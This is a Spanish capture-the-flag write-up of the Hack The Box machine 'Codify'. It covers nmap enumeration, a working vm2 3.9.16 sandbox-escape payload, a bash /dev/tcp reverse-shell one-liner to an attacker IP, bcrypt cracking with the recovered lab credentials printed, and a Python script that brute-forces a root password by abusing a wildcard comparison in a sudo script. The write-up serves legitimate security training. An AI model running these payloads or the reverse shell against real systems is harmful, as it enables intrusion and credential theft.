articulos - b0ySie7e
  • 👋Bienvenido
  • Write up
    • 📕DockerLabs
      • QueueMedic
    • 📕Tryhackme
      • VulnneTroasted
      • Relevant
      • Bufferoverflowprep
      • Eavesdropper
      • Kitty
      • Borderlands
      • Willow
      • Gatekeeper
      • Web Strike Blue Team
      • Splunkps Eclipse
      • Sustah
      • Battery
      • The Server From Hell
      • Biteme
      • Zeno
      • Olymus
      • Mastermind
      • Cyber Crafted
      • Ollie
      • Red
      • Opacity
      • Tony The Tiger
      • B3dr0ck
      • Valley
      • Hacker vs Hacker
      • Flatine
      • Glitch
      • Smag Grotto
      • Ninja Skills
      • Corridor
      • TechSupport
      • Kiba
      • Fowsniff CTF
      • Blueprint
      • Anonymous
      • Bookstore
      • Bounty
      • Cmspit
      • Mustacchio
    • 📕Hackthebox
      • Inject
      • Busqueda
      • Monitors Two
      • PC
      • Topology
      • Wifinetic
      • Pilgrimage
      • Keeper
      • Headless
      • Devvortex
      • Codify
      • Perfection
      • Broker
      • Pov
      • Resolute
      • Monteverde
      • Intelligence
      • StreamIO
      • Scrambled
      • Escape
      • Authority
      • Return
      • Timelapse
      • Support
      • Cap
      • Doctor
      • Validation
      • Twomillion
    • 📕PortSwigger
      • SQL Injection
        • Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
        • Lab: SQL injection vulnerability allowing login bypass
        • Lab: SQL injection attack, querying the database type and version on Oracle
        • Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
        • Lab: SQL injection attack, listing the database contents on non-Oracle databases
        • Lab: SQL injection UNION attack, determining the number of columns returned by the query
        • Lab: SQL injection UNION attack, retrieving data from other tables
        • Lab: SQL injection UNION attack, retrieving multiple values in a single column
        • Lab: Blind SQL injection with conditional responses
        • Lab: Blind SQL injection with conditional errors
        • Lab: Visible error-based SQL injection
        • Lab: Blind SQL injection with time delays
        • Lab: Blind SQL injection with time delays and information retrieval
        • Lab: Blind SQL injection with out-of-band interaction
        • Lab: Blind SQL injection with out-of-band data exfiltration
        • Lab: SQL injection with filter bypass via XML encoding
  • Articulos
    • 🛠️Proyectos
      • 📝Host Port Discovery
    • 🛠️Laboratorio
      • 📝Hacking Wireles
  • Vulnerabilidaes
    • 🖥️Explotacion
      • CVE-2023-38831
Powered by GitBook
On this page
  • Enumeración
  • Sitio Web
  • Shell - SVC
  • Shell - Joshua
  • Shell - Root
  • Brute Force
  1. Write up
  2. Hackthebox

Codify

PreviousDevvortexNextPerfection

Last updated 10 months ago

Codify es una sencilla máquina Linux que cuenta con una aplicación web que permite a los usuarios probar el código Node.js. La aplicación utiliza una biblioteca vm2 vulnerable, que se aprovecha para obtener la ejecución remota de código. Al enumerar el objetivo se revela una base de datos SQLite que contiene un hash que, una vez descifrado, otorga acceso SSH al equipo. Finalmente, se puede ejecutar un script Bash vulnerable con privilegios elevados para revelar la contraseña del usuario root, lo que genera acceso privilegiado a la máquina.

Enumeración

Iniciamos enumerando los puertos abiertos con la herramienta de nmap

❯ nmap -p- --open --min-rate 5000 -Pn -n -vvv 10.10.11.239 -oG allportsScan

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
80/tcp   open  http    syn-ack
3000/tcp open  ppp     syn-ack

Luego de obtener los puertos abiertos procederemos a enumerar los servicios y versiones que se tiene corriendo en los puertos abiertos.

❯ nmap -p22,80,3000 -sC -sV -vv -n -Pn 10.10.11.239 -oN serviceScan

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN+/g3FqMmVlkT3XCSMH/JtvGJDW3+PBxqJ+pURQey6GMjs7abbrEOCcVugczanWj1WNU5jsaYzlkCEZHlsHLvk=
|   256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIm6HJTYy2teiiP6uZoSCHhsWHN+z3SVL/21fy6cZWZi
80/tcp   open  http    syn-ack Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    syn-ack Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Los puertos que encontramos son el 22, 80 y 3000 que se ejecutan los servicios ssh y http en los dos últimos

Sitio Web

Revisando el sitio web encontramos un sitio en el que nos explica que se tiene un editor de código para node js.

Revisando encontramos que tiene ciertas limitaciones con algunos módulos de node js

Vemos a continuación el editor de código:

Shell - SVC

La versión que se hace uso es 3.9.16

Investigando un poco sobre esta versión encontraremos que es vulnerable y podemos ejecutar comandos.

En siguiente código veremos una muestra de el código que debemos ingresar para ejecutar comandos.

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

Corremos el código anterior y observamos que efectivamente podemos ejecutar comandos

Ahora debemos obtener una revershell y para ello yo use el siguiente comando de bash:

bash -c 'exec bash -i &>/dev/tcp/10.10.14.55/443 <&1'

Para luego correr el código nuevamente pero con la revershell y obtendremos una shell como el usuario svc

Shell - Joshua

Enumerando los directorios encontraremos una base de datos tickets.db

Para poder revisarlo yo me descargue a mi maquina atacante haciendo uso de python: python3 -m http.server 8888, con ello podrás iniciar un servidor web y descargártelo sin problemas.

Luego de descargártelo podremos acceder a la base de datos con sqlite3 y ver las tablas que se tiene.

La tabla que me llamo la atención fue users y efectivamente tenia credenciales del usuario joshua. La credencial que encontramos esta encriptada y para obtener en texto plano haremos uso de john the ripper.

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_joshua
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (joshua)     
1g 0:00:01:30 DONE (2024-07-21 00:28) 0.01099g/s 15.04p/s 15.04c/s 15.04C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Luego de crackear la password obtendremos las siguientes credenciales:

joshua: spongebob1

Y haciendo uso de estas credenciales podremos inicar sesión como el usuario joshua

❯ ssh joshua@10.10.11.239

Shell - Root

Enumerando los permisos del usuario joshua podremos ver que este usuario puede ejecutar de manera privilegiada un script

El script que puede ejecutar es el siguiente:

    (root) /opt/scripts/mysql-backup.sh

El contenido de dicho script es :

joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

Al parecer este script hace una copia de la base de datos, pero para ello se necesita la contraseña del usario root.

Investigando un poco acerca de como poder bypassear la parte de la condicional

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

Vemos que se ejecuto correctamente y además podemos observar la contraseña en texto plano.

root: kljh12k3jhaskjh12kjh3

Brute Force

Tenemos otra opción para poder obtener la contraseña en texto plano y la verdad me gusta mas, para ello me hice una copia del script con las líneas de comparaciones de credenciales en mi maquina atacante.

 ❯ cat test.sh
#!/bin/bash

DB_USER="root"
DB_PASS=$(/usr/bin/cat password)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo


if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi
 ❯ cat password
 password

Teniendo este script fue escribir un script que me ejecutara teniendo en cuenta que $DB_PASS == $USER_PASS si yo ingreso p* debería de obtener Password confirmed! como salida y si es otra letra Password confirmation failed!, pero esto no nos ayuda mucho y en lo que debemos de prestar mas atención es en el estado de ejecución.

Vemos que luego de imprimir Password confirmation failed! tenemos un status 1, por lo que nos ayudaremos de esto para nuestro script.

#!/usr/bin/env python3

import subprocess

wordlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&(),-./:;<=>?@[]^_`{|}~'

password = ""

while True:
    found = False
    for w in wordlist:
        command = f"echo '{password}{w}*' | ./test.sh"
        
        result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        
        if "Password confirmed!" in result.stdout.decode():
            password += w 
            found = True
            print(f"\r{password}{w}", flush=True, end="")
            break
    
    if not found:
        break

print(f'\r{password}        ')

Luego de que nuestro script funciona en local pasamos a la maquina victima, antes cambiando el comando a ejecutar command = f"echo '{password}{w}*' | ./test.sh" a command = f"echo '{password}{w}*' | sudo /opt/scripts/mysql-backup.sh"

Observamos que obtuvimos la contraseña y podemos escalar privilegios como el usuario root

En este punto intente muchas cosas con los módulos que tenia a disposición, esto porque no lei el acerca de que hacen uso. Esto me enseño a ponerle mas atención. Vemos que hacen uso de que te lleva a cierta versión

Me encontré con algo interesante donde encontraras varias maneras de bypasear o burlar ciertas condicionales. En nuestro caso lo podemos realizar con *, vamos a ponerlo a prueba.

Observamos que funciona y para ver la credenciales haremos uso de y asi ver los procesos que se ejecutaron o ejecutan

📕
vm2
Sandbox Escape in vm2@3.9.16
Bash Pïtfalls
pspy32
20240720224910.png
20240721001301.png
20240721001338.png
20240721001607.png
20240721001359.png
20240721001414.png
20240721001533.png
20240721001742.png
20240721002940.png
20240721003002.png
20240721003058.png
20240721003147.png
20240721022139.png
20240721022225.png
20240721022426.png
20240721022501.png